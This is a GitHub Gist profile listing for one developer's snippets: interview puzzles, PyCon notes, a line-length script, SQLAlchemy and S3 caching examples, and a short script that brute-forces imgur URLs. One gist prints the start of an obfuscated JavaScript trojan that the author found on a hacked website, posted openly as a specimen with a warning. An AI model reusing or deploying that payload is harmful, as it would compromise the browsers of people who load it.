Skip to content

Instantly share code, notes, and snippets.

View eykd's full-sized avatar

David Eyk eykd

View GitHub Profile
@eykd
eykd / string_transformation.feature
Last active August 29, 2015 13:57
String compression interview question.
Feature: String Transformation Puzzles
In order to get a job,
As an interviewee,
I need to be able to implement stupid, meaningless string transformations.
Scenario: Compress consecutive characters to a number and the character itself.
Write a function that takes in a char *string and converts series of
consecutive identical characters to the number of consecutive characters and
the character itself.
@eykd
eykd / pycon_2014.md
Last active August 29, 2015 13:59
PyCon 2014 notes

Friday, April 11

DNS

  • Lynn Root
  • roguelynn.com
  • roguelynn-spy.herokuapp.com

Use scapy python library for sniffing network traffic. Chrome does one DNS request for each autocomplete guess. Interesting.

@eykd
eykd / js_trojan_caught_in_wild.js
Created July 22, 2010 19:24
A Javascript trojan I found on a hacked website. Careful! Executing this code in your browser wil have unknown and likely harmful effects!
$a="Z63dZ3dZ22Z253dst+Z2553tZ2572iZ256eg.Z2566Z2572oZ256dCZ2568arCZ256fdeZ2528(tmZ2570Z252eZ2563hZ22;dzZ3dZ22Z2566Z2575nZ2563tZ2569on Z2564wZ2528t)Z257bcaZ253dZ2527Z252564Z25256fcZ252575mZ252565Z256eZ2574.Z252577ritZ252565Z25252Z2538Z252522Z2527;ceZ253dZ2527Z25252Z2532)Z2527;cZ2562Z253dZ2527Z25253cscrZ252569pZ252574Z2520Z25256caZ25256eguZ252561gZ252565Z25253dZ25255cZ252522Z256aaZ2576aZ2573Z2563Z252572iZ252570tZ2525Z2535Z2563Z252522Z25253Z2565Z2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ252572Z2569Z252570Z252574Z25253eZ2527;eZ2576aZ256c(unZ2565scaZ2570e(Z2574))Z257dZ253bZ22;caZ3dZ22Z2566Z2575Z256ecZ2574iZ256fn dZ2563sZ2528ds,Z2565sZ2529Z257bdsZ253duneZ2573capZ2565Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00
@eykd
eykd / beautiful_line_length.js
Created September 27, 2010 20:54 — forked from blaine/gist:428898
Sets the size of the body text to whatever works best for the current device. Based on code from http://blog.romeda.org/2010/06/beautiful-lines.html
var setTextMeasure = function (contentElement, targetMeasure, maxSize, minSize) {
if (!contentElement) contentElement = document.createElement('p');
if (!targetMeasure) targetMeasure = 66;
if (!maxSize) maxSize = 16;
if (!minSize) minSize = 9;
var sizer = contentElement.cloneNode();
sizer.style.cssText = 'margin: 0; padding: 0; color: transparent; background-color: transparent; position: absolute;';
@eykd
eykd / sqlalchemy_example.py
Created October 25, 2010 20:56
Example of using SQLAlchemy.
from sqlalchemy import create_engine
from sqlalchemy import Table, MetaData
from sqlalchemy import sql
def connectComm():
shopping_engine = create_engine('mysql://dbuser:******@comm/shopping', echo=False, strategy="threadlocal")
def _makeTable(name):
meta = MetaData()
@eykd
eykd / pycache.py
Created October 26, 2010 15:06
A simple script for caching packages on S3 and building simple HTML indices.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""pycache -- cache a python package from PyPI on S3.
A simple script to collect a cache of packages locally and sync them up to an S3 bucket, using directories as namespaces so that different projects can have different dependencies.
This is just about the simplest thing that could possibly work.
"""
import warnings
warnings.filterwarnings('ignore')
@eykd
eykd / parser_metatest_example.py
Created December 12, 2010 21:47
An example of using metaclasses to enable declarative tests.
# -*- coding: utf-8 -*-
"""actions.tests -- tests for action commands.
Copyright 2010 David Eyk. All rights reserved.
"""
import re
from django.test import TestCase
from . import base
from . import actions
@eykd
eykd / fragment_safe_url_escape.py
Created March 17, 2011 15:14
Safely escape a URL that has a hash fragment.
def escape(self, url):
# We don't want to escape the hash, if it exists.
if '#' in url:
url, fragment = url.split('#', 1)
else:
fragment = ''
# Escape the body of the URL and fragment
def _escape(url):
return '/'.join(
@eykd
eykd / brew doctor
Created June 24, 2011 22:47
Error building rabbitmq
Your system is raring to brew.
@eykd
eykd / find_urls.py
Created June 24, 2011 21:43
Unearth spoilers by finding non-placeholder-images from the URL pattern provided by Notch.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""find urls from @notch
"""
import time as t
import string as r
import urllib as b
u = 'http://i.imgur.com/IKc7%s.png'
for url in dict(t.sleep(1) or (b.urlopen(u%c).read(), u%c) for c in r.letters).values():
print url